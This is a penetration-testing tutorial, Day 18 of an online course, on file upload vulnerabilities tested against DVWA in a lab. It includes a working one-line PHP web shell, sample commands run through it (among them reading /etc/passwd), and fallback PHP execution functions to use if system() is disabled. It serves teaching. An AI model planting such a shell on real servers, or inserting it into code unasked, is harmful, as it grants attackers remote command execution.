📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
DAY 18 OF 100
PHASE 2: WEB SECURITY
🟢 Day 18 — File Upload Vulnerabilities
Day 100 — Professional Pentester
← Day 17: Security Misconfiguration
⚖️
Authorised testing only: All demonstrations in this lesson use DVWA in your isolated lab environment. Web shells are powerful tools — uploading one to any system you do not own or have explicit written permission to test is illegal and constitutes unauthorised computer access. In professional assessments, web shell uploads are performed only within documented scope and cleaned up immediately after demonstration.
18
Almost every web application has a feature that accepts files from users — profile photos, document uploads, attachment submissions. These features seem innocuous. But when the application fails to properly validate what’s being uploaded, that feature becomes a direct path to executing arbitrary code on the server. The upload dialog is just a door. The question is what walks through it.
File upload vulnerabilities consistently lead to Remote Code Execution — the highest severity finding in any security assessment. They appear in bug bounty programmes, professional penetration tests, and real-world breaches with alarming regularity. Today you’ll understand exactly how they work, why common defences fail, and how to implement upload handling that actually holds.
What makes file upload vulnerabilities particularly impactful is their end goal: if you can upload a server-side script and execute it, you have achieved Remote Code Execution. Not just data exposure — actual command execution on the target server with the web server process’s permissions. From there, the path to full server compromise is usually straightforward.
📋 Day 18 Contents
- How File Upload Vulnerabilities Work
- What Is a Web Shell?
- DVWA Low Security — No Validation
- Validation Types & Why They Fail
- Bypass Techniques — Extension & MIME
- DVWA Medium — MIME Bypass
- Magic Bytes — Content Validation Bypass
- Post-Upload — Locating & Executing the Shell
- Secure File Upload Implementation
- Day 18 Practical Task
How File Upload Vulnerabilities Work
The vulnerability chain has three steps. Each step must succeed for the attack to work — and each one represents a potential defensive checkpoint that, if properly implemented, breaks the chain.
STEP 1 — UPLOAD BYPASS
The attacker must upload a file containing server-executable code — typically a PHP script. The application’s upload validation must be absent or bypassable. If the server checks the file type, the attacker must fool that check.
STEP 2 — FILE STORAGE IN WEB ROOT
The uploaded file must be stored in a web-accessible location — a directory served by the web server. Files uploaded to storage buckets, databases, or directories outside the web root cannot be executed via the browser.
STEP 3 — EXECUTION PERMITTED
The web server must be configured to execute scripts in the upload directory. If PHP execution is disabled in that directory (via .htaccess or server config), the file is served as plaintext rather than executed.
Secure upload implementations break all three steps simultaneously. Vulnerable ones fail at step one — and the rest follows automatically.
What Is a Web Shell?
A web shell is a script — most commonly PHP, but also ASP, JSP, Python, or any server-side language — that accepts commands via HTTP parameters and executes them on the server, returning the output in the response. The attacker interacts with the server through their browser rather than through a traditional terminal connection.
Web shell anatomy — from minimal to functional (lab use only)
The absolute minimum PHP web shell — 1 line
<?php system($_GET[‘cmd’]); ?>
Usage: http://target.com/uploads/shell.php?cmd=id
Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
What this one line does:
$_GET[‘cmd’] → reads the ‘cmd’ URL parameter (attacker-controlled)
system() → passes it to the OS shell, returns output
The entire OS command output appears in the browser response
Practical commands via the shell (lab demonstration only)
?cmd=id # Who is the web server running as?
?cmd=pwd # Current working directory
?cmd=ls+-la+/var/www/ # List web root files
?cmd=cat+/etc/passwd # Read system user file
?cmd=uname+-a # OS and kernel version
?cmd=ip+a # Network interfaces and IPs
Alternative PHP execution functions (in case system() is disabled)
passthru() exec() shell_exec() popen() proc_open()cmd
If one is disabled in php.ini, try the next
💡 Why this is critical severity: The web server process (www-data on Linux) typically has read access to the entire web root including configuration files with database credentials, write access to upload directories, and often the ability to read other application files on the same server. From a web shell, an attacker can frequently pivot to full database access and potentially other hosted applications.
LEVEL 1 DVWA Low Security — No Validation at All
At DVWA’s Low security level, the file upload feature has effectively no validation. It accepts any file type and stores it directly in a web-accessible uploads directory. This represents the worst possible implementation — and it’s more common in real applications than you might expect, particularly in internal tools and legacy systems.
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)